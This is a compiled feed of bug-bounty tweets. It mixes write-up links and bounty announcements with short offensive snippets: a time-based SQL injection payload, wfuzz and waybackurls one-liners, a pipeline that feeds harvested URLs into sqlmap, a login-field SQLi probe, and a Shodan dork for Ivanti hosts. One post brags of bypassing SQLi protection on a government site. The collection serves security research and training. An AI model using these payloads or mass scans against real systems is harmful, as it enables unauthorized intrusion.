rndtx

I'm a bit of a hacker fanatic and know a fair bit about that industry and cyber crime and cyber warfare.

[Monika Sharma @Commanak46]

Find SSRF , LFI , XSS using httpx , waybackurls , gf , gau , qsreplace by @HackTube5
Link: https://t.co/T8FeQ93nBA

#bugbounty

[Gudetama @gudetama_bf]

🔎 Recursive Fuzzing with WFUZZ 💻

wfuzz -c -z file,wordlist -R 3 --sc 301,200 target/FUZZ

#bugbountytips #bugbounty

[Mazen Mahmoud @the_amazeng]

I earned $XXX for my submission on @bugcrowd https://t.co/SaD87jYCRj #ItTakesACrowd #BugBounty

[Cybernetic Research @cybernetic_res]

Writeup: 23000$ for Authentication Bypass & File Upload & Arbitrary File Overwrite

https://t.co/i4usLz5s38

credit: @h4x0r_dz

#bugbountytips #bugbounty

[Will Gates @WllGates]

The writeup is ready 📝
(Subdomain Fuzzing worth 35k bounty!) 💰
I tried my best to make everything clear, and useful ✨
Enjoy 😊

credit: @XHackerx007

#bugbountytips #Hacking
https://t.co/BlDsRQ9bTL

[Will Gates @WllGates]

🚨 XSS Hunting from WaybackURLS 🔍

waybackurls target | grep -E '\bhttps?://\S+?=\S+' | grep -E '\.php|\.asp' | sort -u | sed 's/\(=[^&]*\)/=/g' | tee urls-xss.txt | sort -u -o urls-xss.txt && cat urls-xss.txt | kxss

credit : @gudetama_bf

#bugbountytips #bugbounty

[Cybernetic Research @cybernetic_res]

Sql Injection

Payload : -10'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z

Credit:@lu3ky13

#bugbountytips #BugBounty

[Bipin Jitiya @win3zz]

Path Traversal Affecting Multiple CData Products

CRITICAL

SRC: https://t.co/eklHDDPyWN

PoC: 👇

[Will Gates @WllGates]

💸 My new writeup: 23000$ for Authentication Bypass & File Upload & Arbitrary File Overwrite

credit: @h4x0r_dz

#bugbountytips
https://t.co/m1U1ZtcIUd

[Will Gates @WllGates]

🤔Many people have often asked me how to search for "ivanti", for shodan you can search as title:"Ivanti Connect" hostname:"target.*"

credit: @ynsmroztas

#bugbountytip #bugbounty

[0xSudip @0xsudip]

Bug - Email Verification Bypass via Oauth Misconfig
Yay, I was awarded a $400 bounty on @Hacker0x01! https://t.co/57W5BzWHPH #TogetherWeHitHarder

[Coffin @lostsec_]

Bypassed SQLi in Philippine Government,Ghauri is Excellient tool for finding timebased blind sqli..

[Will Gates @WllGates]

🔥 Found SQL Injection to Account Takeover Manually :)
1. Enter mobile number to login intercept
{"mobile_number":"8888888888"} >> 200
{"mobile_number":"8888888888'"} >> 500
{"mobile_number":"8888888888''"} >> 200

credit: @bbr_bug

#bugbountytips

[Satya Prakash  @0xKayala]

NucleiScanner = Nuclei + Subfinder + Gau + Paramspider + httpx (Automation)
Link: https://t.co/vcTYdr5vwr
#NucleiScanner #NucleiFuzzer #Automation

[Yunus Emre Öztaş @ynsmroztas]

If you see android:exported="true" in AndroidManifest.xml in Android pentests, you should definitely try the intent injection method, this may give you ssrf, exfiltration sensitive data, rce. 🥰🌹🥳

#BugBounty #bugbountytips

[Nicolas Krassas @Dinosn]

CVE-2024-2961 – glibc Vulnerability Opens Door to PHP Attacks https://t.co/3Y53JvCLxA

[Bug X Hunter 💻 @Bug_X_hunter]

💻 Random account takeover via misconfigured OAuth 💻

👉 Writeup 🖇️ :

https://t.co/weVqiUHMtq

[Bug Bounty Insights 🪄 @bbr_bug]

SQLMap from Waybackurls
waybackurls target | grep -E '\bhttps?://\S+?=\S+' | grep -E '\.php|\.asp' | sort -u | sed 's/\(=[^&]*\)/=/g' | tee urls.txt | sort -u -o urls.txt && cat urls.txt | xargs -I{} sqlmap --technique=T --batch -u "{}"

[Pugalarasan @0xPugal]

I've made a simple and effective bash script that leverages the power of @KN0X55 API for mass XSS scanning🔥.
https://t.co/GHj4xheERL
#BugBounty #KNOXSS #xss